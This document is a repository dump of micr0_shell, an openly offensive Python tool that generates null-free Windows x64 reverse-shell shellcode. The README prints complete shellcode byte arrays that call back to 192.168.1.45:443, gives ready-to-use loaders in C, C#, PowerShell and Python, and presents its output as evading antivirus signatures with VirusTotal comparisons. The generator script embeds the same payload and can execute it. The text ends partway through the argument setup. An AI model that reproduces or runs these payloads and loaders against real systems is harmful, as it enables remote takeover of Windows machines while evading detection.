Full Code of senzee1984/micr0_shell for AI

main 157bcfd40a5e cached
3 files
36.5 KB
14.3k tokens
5 symbols
1 requests
Download .txt
Repository: senzee1984/micr0_shell
Branch: main
Commit: 157bcfd40a5e
Files: 3
Total size: 36.5 KB

Directory structure:
gitextract_v_rlnvox/

├── README.md
├── micr0 shell.py
└── requirements.txt

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# micr0 shell
Micr0shell is a lightweight and efficient Python script designed for dynamically generating Windows X64 Position-Independent Code (PIC) Null-Free reverse shell shellcode. Depending on the options selected, the generated shellcode can be up to `27` bytes smaller than comparable shellcode from msfvenom, while also avoiding the inclusion of 0x00 bytes. Additionally, because MSF's shellcode is widely used and therefore more likely to be flagged by signature-based detection methods, the shellcode generated by micr0shell offers an added layer of evasion capability.

```Shellcode Generated by MSF
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.45 LPORT=443 -f csharp -v shellcode -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=7, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 503 (iteration=0)
x64/xor chosen with final size 503
Payload size: 503 bytes
Final size of csharp file: 2586 bytes
byte[] shellcode = new byte[503] {
0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,
0xff,0xff,0x48,0xbb,0x2b,0x1e,0x7f,0x17,0x61,0x58,0xad,0xc4,0x48,0x31,0x58,
0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0xd7,0x56,0xfc,0xf3,0x91,0xb0,
0x6d,0xc4,0x2b,0x1e,0x3e,0x46,0x20,0x08,0xff,0x95,0x7d,0x56,0x4e,0xc5,0x04,
0x10,0x26,0x96,0x4b,0x56,0xf4,0x45,0x79,0x10,0x26,0x96,0x0b,0x56,0xf4,0x65,
0x31,0x10,0xa2,0x73,0x61,0x54,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x22,0x1e,
0x6b,0x63,0x74,0x8d,0x85,0xea,0xd7,0x72,0x56,0x60,0x99,0x4f,0x29,0x79,0x5f,
0x2e,0x5f,0xea,0x0a,0x8d,0x4f,0x69,0x22,0x37,0x16,0xb1,0xd3,0x2d,0x4c,0x2b,
0x1e,0x7f,0x5f,0xe4,0x98,0xd9,0xa3,0x63,0x1f,0xaf,0x47,0xea,0x10,0xb5,0x80,
0xa0,0x5e,0x5f,0x5e,0x60,0x88,0x4e,0x92,0x63,0xe1,0xb6,0x56,0xea,0x6c,0x25,
0x8c,0x2a,0xc8,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x5f,0xbe,0xde,0x6c,0x19,
0xac,0x05,0x13,0xfe,0x0a,0xe6,0x2d,0x5b,0xe1,0xe0,0x23,0x5b,0x46,0xc6,0x14,
0x80,0xf5,0x80,0xa0,0x5e,0x5b,0x5e,0x60,0x88,0xcb,0x85,0xa0,0x12,0x37,0x53,
0xea,0x18,0xb1,0x8d,0x2a,0xce,0x3e,0x9c,0x65,0xd0,0xe5,0xc5,0xfb,0x5f,0x27,
0x56,0x39,0x06,0xf4,0x9e,0x6a,0x46,0x3e,0x4e,0x20,0x02,0xe5,0x47,0xc7,0x3e,
0x3e,0x45,0x9e,0xb8,0xf5,0x85,0x72,0x44,0x37,0x9c,0x73,0xb1,0xfa,0x3b,0xd4,
0xe1,0x22,0x5e,0xdf,0x2f,0xde,0xf6,0x74,0x2d,0x4d,0x17,0x61,0x19,0xfb,0x8d,
0xa2,0xf8,0x37,0x96,0x8d,0xf8,0xac,0xc4,0x2b,0x57,0xf6,0xf2,0x28,0xe4,0xaf,
0xc4,0x2a,0xa5,0xbf,0xbf,0x60,0x75,0xec,0x90,0x62,0x97,0x9b,0x5b,0xe8,0xa9,
0xec,0x7e,0x67,0x69,0x59,0x10,0x9e,0x8d,0xe1,0x4d,0xc1,0x76,0x7e,0x16,0x61,
0x58,0xf4,0x85,0x91,0x37,0xff,0x7c,0x61,0xa7,0x78,0x94,0x7b,0x53,0x4e,0xde,
0x2c,0x69,0x6d,0x8c,0xd4,0xde,0x37,0x9e,0xa3,0x10,0x52,0x04,0x63,0x97,0xbe,
0x56,0xdb,0xb2,0xa2,0x1b,0xcb,0xe1,0xaa,0x5f,0xe8,0x9f,0xc7,0xd4,0x6a,0x46,
0x33,0x9e,0x83,0x10,0x24,0x3d,0x6a,0xa4,0xe6,0xb2,0x15,0x39,0x52,0x11,0x63,
0x9f,0xbb,0x57,0x63,0x58,0xad,0x8d,0x93,0x7d,0x12,0x73,0x61,0x58,0xad,0xc4,
0x2b,0x5f,0x2f,0x56,0x31,0x10,0x24,0x26,0x7c,0x49,0x28,0x5a,0x50,0x98,0xc7,
0xc9,0x72,0x5f,0x2f,0xf5,0x9d,0x3e,0x6a,0x80,0x0f,0x4a,0x7e,0x16,0x29,0xd5,
0xe9,0xe0,0x33,0xd8,0x7f,0x7f,0x29,0xd1,0x4b,0x92,0x7b,0x5f,0x2f,0x56,0x31,
0x19,0xfd,0x8d,0xd4,0xde,0x3e,0x47,0x28,0xa7,0x65,0x89,0xa2,0xdf,0x33,0x9e,
0xa0,0x19,0x17,0xbd,0xe7,0x21,0xf9,0xe8,0xb4,0x10,0x9c,0x16,0x63,0xe1,0xb5,
0x9c,0x6f,0x19,0x17,0xcc,0xac,0x03,0x1f,0xe8,0xb4,0xe3,0x5d,0x71,0x89,0x48,
0x3e,0xad,0xc7,0xcd,0x10,0x59,0xd4,0xcb,0x37,0x94,0xa5,0x70,0x91,0xc2,0x57,
0x14,0xff,0xec,0x81,0x2d,0xa8,0x7f,0x6c,0x0d,0x0d,0x78,0x0b,0x58,0xf4,0x85,
0xa2,0xc4,0x80,0xc2,0x61,0x58,0xad,0xc4 };
```
## Background
I acquired my skills in x86 shellcode development through the `Offensive Security Exploit Developer` (OSED) course, which I found particularly captivating. Prior to the course, shellcode development seemed like a mysterious field to me, but I quickly realized how much flexibility it offers for achieving specific objectives. Recognizing that x64 shellcoding is more relevant and widely used in today's landscape, I've applied what I've learned to develop this dynamic and convenient Windows x64 reverse shell shellcode generator script.

## How to Use
### Install Keystone Engine
To generate shellcode from x64 assembly instructions in a Python script, `keystone` engine dependency is needed. Use `pip` to install Keystone Engine:

```python
pip install keystone-engine
```

### Script Usage
Users have the flexibility to specify various parameters: the `IP address`, `listening port`, `variable name`, `shellcode format` (options include C, CSharp, Python, and PowerShell), `shell type` (either PowerShell or CMD), whether to `save` the generated shellcode to a file, and whether to `execute` the generated shellcode (True/False).

```bash
└─# python3 micr0shell.py                                                                                                                         

███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝

Author: Senzee
Github Repository: https://github.com/senzee1984/micr0_shell
Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode
Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255


usage: micr0shell.py [-h] --ip IP [--port PORT] [--language LAN] [--variable VAR] [--type SHELL_TYPE] [--execution CODE_EXEC] [--save SAVE]
                     [--output OUTPUT]
micr0shell.py: error: the following arguments are required: --ip/-i

```

Only the `IP address` must be specified to make the shellcode work well. The default port value is `443`, the default variable name is `buf`, the default language is `python`, and the default shell type is `cmd.exe`.

Users can choose to execute generated shellcode in this Python script, generated shellcode can also be saved in a binary file. By default, generated shellcode is `NOT EXECUTED` and `NOT SAVED` in a file.

### Simple Shellcode Runner
Simple shellcode loaders in different common languages are provided below to test the generated shellcode conveniently. 

However, if you're interested in evaluating evasion capabilities, be aware that the following shellcode loaders could themselves be detected. For more advanced evasion techniques, you may want to explore alternative shellcode loaders, which are beyond the scope of this README document.

#### C
```c
#include "windows.h"
#include "stdlib.h"

unsigned char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0......};  // SHELLCODE HERE

int main()
{
    int length = sizeof(shellcode);
    void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
}
```

#### CSharp
```csharp
using System;
using System.Runtime.InteropServices;

namespace runner
{
    public class runner
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void Main(String[] args)
        {
            byte[] buffer= new byte[479] {0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48......};  // SHELLCODE HERE
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }
    }
}
```

#### PowerShell
```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = <SHELLCODE HERE>

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
```

#### Python
```python
import ctypes, struct


buf =  b"\x48\x31\...."  # SHELLCODE HERE
buf=bytearray(buf)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(buf)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(buf)).from_buffer(buf)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(buf)))
print("Shellcode located at address %s" % hex(ptr))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
```

## Known Issues
1. Based on the provided `IP address`, `port`, and `shell type`, micr0shell dynamically generates Null-Free shellcode. While I've accounted for most common scenarios that could introduce Null bytes, it's worth noting that if the supplied IP address contains both `.255` and `.0`—such as `192.168.0.255`—the generated shellcode will include a Null byte. Though such IP addresses are relatively rare in practice, eliminating Null bytes for all possible IP addresses would significantly increase complexity. As a result, I have no immediate plans to address this issue.

2. Concerning the port value, theoretically, no port should produce a Null byte. However, due to the way Null-byte elimination is implemented, port `65280` is not usable.

3. On `Windows 11`, `double-clicking` the shellcode loader program/script will cause the shell session to exit quickly. However, if you launch it through `CMD` or `PowerShell`, the shell session will remain active until you disconnect from the server. This issue is currently under investigation and appears to be related to the shellcode itself. I will find a way to fix this ASAP.


## Test Case
Shellcode signature evasion capability test, sample files are uploaded to VirusTotal in Aug, 2023.

### Shellcode Bin File
Use msfvenom and micr0shell to generate raw binary files, and upload them, respectively. There are 2 samples generated from msfvenom, one includes 0x00, and the other is Null-Free. The comparison is as follows:

![image](/screenshot/msf_include_00.jpg)

![image](/screenshot/msf_null_free.jpg)

![image](/screenshot/micr0shell.jpg)

By `8/13/2023`, raw shellcode bin file generated by micr0shell is not signatured.

### Simple Shellcode Loader in C
Use msfvenom and micr0shell to generate shellcode byte array, and include them in a simple shellcode runner written in C, respectively. There are 2 shellcodes generated from msfvenom, one includes 0x00, and the other is Null-Free. The comparison is as follows:

![image](/screenshot/loader_msf_include_00.jpg)

![image](/screenshot/loader_msf.jpg)

![image](/screenshot/loader_micr0.jpg)

By `8/23/2023`, the shellcode loader includes the shellcode generated by micr0shell has much less detection. It is worth mentioning that the simple shellcode loader itself is signatured, even if the shellcode is harmless.



## Screenshot

![image](/screenshot/test.jpg)

```cmd
─# python3 micr0shell.py --ip 192.168.1.45 --port 443 --type cmd --language c --variable shellcode --execution false --save True --output buf.bin

███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝

Author: Senzee
Github Repository: https://github.com/senzee1984/micr0_shell
Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode
Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255


[+]Shellcode Settings:
******** IP Address: 192.168.1.45
******** Listening Port: 443
******** Language of desired shellcode runner: c
******** Shellcode array variable name: shellcode
******** Shell: cmd
******** Shellcode Execution: false
******** Save Shellcode to file: true


[+]Payload size: 476 bytes

[+]Shellcode format for C

unsigned char shellcode[]={
0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48,0x8b,0x70,0x18,0x48,0x8b,0x76,0x30,0x4c,0x8b,0x0e,0x4d,
0x8b,0x09,0x4d,0x8b,0x49,0x10,0xeb,0x63,0x41,0x8b,0x49,0x3c,0x4d,0x31,0xff,0x41,0xb7,0x88,0x4d,0x01,
0xcf,0x49,0x01,0xcf,0x45,0x8b,0x3f,0x4d,0x01,0xcf,0x41,0x8b,0x4f,0x18,0x45,0x8b,0x77,0x20,0x4d,0x01,
0xce,0xe3,0x3f,0xff,0xc9,0x48,0x31,0xf6,0x41,0x8b,0x34,0x8e,0x4c,0x01,0xce,0x48,0x31,0xc0,0x48,0x31,
0xd2,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x44,0x39,0xc2,0x75,0xda,0x45,
0x8b,0x57,0x24,0x4d,0x01,0xca,0x41,0x0f,0xb7,0x0c,0x4a,0x45,0x8b,0x5f,0x1c,0x4d,0x01,0xcb,0x41,0x8b,
0x04,0x8b,0x4c,0x01,0xc8,0xc3,0xc3,0x4c,0x89,0xcd,0x41,0xb8,0x8e,0x4e,0x0e,0xec,0xe8,0x8f,0xff,0xff,
0xff,0x49,0x89,0xc4,0x48,0x31,0xc0,0x66,0xb8,0x6c,0x6c,0x50,0x48,0xb8,0x57,0x53,0x32,0x5f,0x33,0x32,
0x2e,0x64,0x50,0x48,0x89,0xe1,0x48,0x83,0xec,0x20,0x4c,0x89,0xe0,0xff,0xd0,0x48,0x83,0xc4,0x20,0x49,
0x89,0xc6,0x49,0x89,0xc1,0x41,0xb8,0xcb,0xed,0xfc,0x3b,0x4c,0x89,0xcb,0xe8,0x55,0xff,0xff,0xff,0x48,
0x31,0xc9,0x66,0xb9,0x98,0x01,0x48,0x29,0xcc,0x48,0x8d,0x14,0x24,0x66,0xb9,0x02,0x02,0x48,0x83,0xec,
0x30,0xff,0xd0,0x48,0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0xd9,0x09,0xf5,0xad,0xe8,0x2b,0xff,0xff,
0xff,0x48,0x83,0xec,0x30,0x48,0x31,0xc9,0xb1,0x02,0x48,0x31,0xd2,0xb2,0x01,0x4d,0x31,0xc0,0x41,0xb0,
0x06,0x4d,0x31,0xc9,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,0x24,0x28,0xff,0xd0,0x49,0x89,0xc4,0x48,
0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0x0c,0xba,0x2d,0xb3,0xe8,0xf3,0xfe,0xff,0xff,0x48,0x83,0xec,
0x20,0x4c,0x89,0xe1,0x48,0x31,0xd2,0xb2,0x02,0x48,0x89,0x14,0x24,0x48,0x31,0xd2,0x66,0xba,0x01,0xbb,
0x48,0x89,0x54,0x24,0x02,0xba,0xc0,0xa8,0x01,0x2d,0x48,0x89,0x54,0x24,0x04,0x48,0x8d,0x14,0x24,0x4d,
0x31,0xc0,0x41,0xb0,0x16,0x4d,0x31,0xc9,0x48,0x83,0xec,0x38,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,
0x24,0x28,0x4c,0x89,0x4c,0x24,0x30,0xff,0xd0,0x48,0x83,0xc4,0x38,0x49,0x89,0xe9,0x41,0xb8,0x72,0xfe,
0xb3,0x16,0xe8,0x99,0xfe,0xff,0xff,0x48,0xba,0x9c,0x92,0x9b,0xd1,0x9a,0x87,0x9a,0xff,0x48,0xf7,0xd2,
0x52,0x48,0x89,0xe2,0x41,0x54,0x41,0x54,0x41,0x54,0x48,0x31,0xc9,0x66,0x51,0x51,0x51,0xb1,0xff,0x66,
0xff,0xc1,0x66,0x51,0x48,0x31,0xc9,0x66,0x51,0x66,0x51,0x51,0x51,0x51,0x51,0x51,0x51,0xb1,0x68,0x51,
0x48,0x89,0xe7,0x48,0x89,0xe1,0x48,0x83,0xe9,0x20,0x51,0x57,0x48,0x31,0xc9,0x51,0x51,0x51,0x48,0xff,
0xc1,0x51,0xfe,0xc9,0x51,0x51,0x51,0x51,0x49,0x89,0xc8,0x49,0x89,0xc9,0xff,0xd0};


Generated shellcode successfully saved in file buf.bin
```


================================================
FILE: micr0 shell.py
================================================
import ctypes, struct
import argparse
from keystone import *

# Exploit Author: Senzee
# Title: Windows/x64 - Reverse TCP Shell(192.168.1.45:443) Shellcode (476 Bytes)
# Date: 08/11/2023
# Platform: Windows X64
# Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter
# OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763
# Test IP: 192.168.1.45 
# Test Port: 443
# Payload size: 476 bytes
# Do not contain 0x00 byte


# Generated Shellcode (192.168.1.45:443):
# Payload size: 476 bytes
# buf =  b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
# buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
# buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
# buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
# buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
# buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
# buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\xe8\x8f\xff\xff"
# buf += b"\xff\x49\x89\xc4\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32"
# buf += b"\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x49"
# buf += b"\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\xe8\x55\xff\xff\xff\x48"
# buf += b"\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec"
# buf += b"\x30\xff\xd0\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\x2b\xff\xff"
# buf += b"\xff\x48\x83\xec\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0"
# buf += b"\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48"
# buf += b"\x83\xc4\x30\x49\x89\xd9\x41\xb8\x0c\xba\x2d\xb3\xe8\xf3\xfe\xff\xff\x48\x83\xec"
# buf += b"\x20\x4c\x89\xe1\x48\x31\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb"
# buf += b"\x48\x89\x54\x24\x02\xba\xc0\xa8\x01\x2d\x48\x89\x54\x24\x04\x48\x8d\x14\x24\x4d"
# buf += b"\x31\xc0\x41\xb0\x16\x4d\x31\xc9\x48\x83\xec\x38\x4c\x89\x4c\x24\x20\x4c\x89\x4c"
# buf += b"\x24\x28\x4c\x89\x4c\x24\x30\xff\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8\x72\xfe"
# buf += b"\xb3\x16\xe8\x99\xfe\xff\xff\x48\xba\x9c\x92\x9b\xd1\x9a\x87\x9a\xff\x48\xf7\xd2"
# buf += b"\x52\x48\x89\xe2\x41\x54\x41\x54\x41\x54\x48\x31\xc9\x66\x51\x51\x51\xb1\xff\x66"
# buf += b"\xff\xc1\x66\x51\x48\x31\xc9\x66\x51\x66\x51\x51\x51\x51\x51\x51\x51\xb1\x68\x51"
# buf += b"\x48\x89\xe7\x48\x89\xe1\x48\x83\xe9\x20\x51\x57\x48\x31\xc9\x51\x51\x51\x48\xff"
# buf += b"\xc1\x51\xfe\xc9\x51\x51\x51\x51\x49\x89\xc8\x49\x89\xc9\xff\xd0"


def print_banner():
	banner="""
███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
"""
	print(banner)
	print("Author: Senzee")
	print("Github Repository: https://github.com/senzee1984/micr0_shell")
	print("Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode")
	print("Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255\n\n")


def b_not(num, size):
	reverse = 0
	for _ in range(size):
		reverse = (reverse << 1) | (0 if num & 1 else 1)
		num >>= 1
	notted = 0
	for _ in range(size):
		notted = (notted << 1) | (reverse & 1)
		reverse >>= 1
	return notted

def get_address_argument(ip, port):
	address = 0
	for octet in ip.split(".")[::-1]:
		address = (address << 8) | int(octet)
	for _ in range(2):
		address = (address << 8) | (port & 0xFF)
		port >>= 8
	return hex(b_not((address << 16) | 2, 64))

def get_shell_type_argument(shell_type):
	return (
		" mov rcx, 0xff9a879ad19b929c;"
		" not rcx;"
		" push rcx;"
		" push rcx;"
	) if shell_type == "cmd" else (
		" mov rcx, 0x6568737265776f70;"
		" push rcx;"
		" mov rcx, 0xffff9a879ad19393;"
		" not rcx;"
		" push rcx;"
	)

def output_shellcode(lan,encoding,var,code_exec,save):
	sh = b""
	for e in encoding:
    		sh += struct.pack("B", e)
	shellcode = bytearray(sh)
	print("[+]Payload size: "+str(len(encoding))+" bytes\n")
	counter=0

	if lan=="python":
		print("[+]Shellcode format for Python\n")
		sc = ""
		sc = var+" = b\""
		for dec in encoding:
    			if counter % 20 == 0 and counter != 0:
        			sc += "\"\n"+var+"+="+"b\""
    			sc += "\\x{0:02x}".format(int(dec))
    			counter += 1

		if count % 20 > 0:
			sc += "\""  
		print(sc)	

	elif lan=="c":
		print("[+]Shellcode format for C\n")
		sc = "unsigned char " + var + "[]={\n"	
		for dec in encoding:
    			if counter % 20 == 0 and counter != 0:
        			sc += "\n"
    			sc += "0x{0:02x}".format(int(dec))+","
    			counter += 1
		sc=sc[0:len(sc)-1]+"};"
		print(sc)	


	elif lan=="powershell":
		print("[+]Shellcode format for Powershell\n")
		sc = "[Byte[]] $"+var+" = "	
		for dec in encoding:
    			sc += "0x{0:02x}".format(int(dec))+","
		sc=sc[0:len(sc)-1]
		print(sc)	

	elif lan=="csharp":
		print("[+]Shellcode format for C#\n")
		sc = "byte[] " + var + "= new byte["+str(len(encoding))+"] {\n"	
		for dec in encoding:
    			if counter % 20 == 0 and counter != 0:
        			sc += "\n"
    			sc += "0x{0:02x}".format(int(dec))+","
    			counter += 1
		sc=sc[0:len(sc)-1]+"};"
		print(sc)	
	
	else:
		print("Unsupported language! Exiting...")
		exit()


	if exec=="true":
		ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
		ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

		buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
		ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
		print("\n\nShellcode Executed! Shellcode located at address %s" % hex(ptr))
		ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

		ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

	if save=="true":
		try:
			with open(output, 'wb') as f:
				f.write(shellcode)
				print("\n\nGenerated shellcode successfully saved in file "+output)
		except Exception as e:
			print(e)
	
	
if __name__ == "__main__":
	print_banner()
	parser = argparse.ArgumentParser(description='Dynamically generate Windows x64 reverse shell.')
	parser.add_argument('--ip', '-i', required=True, dest='ip',help='The listening IP address, default value is 192.168.0.45')
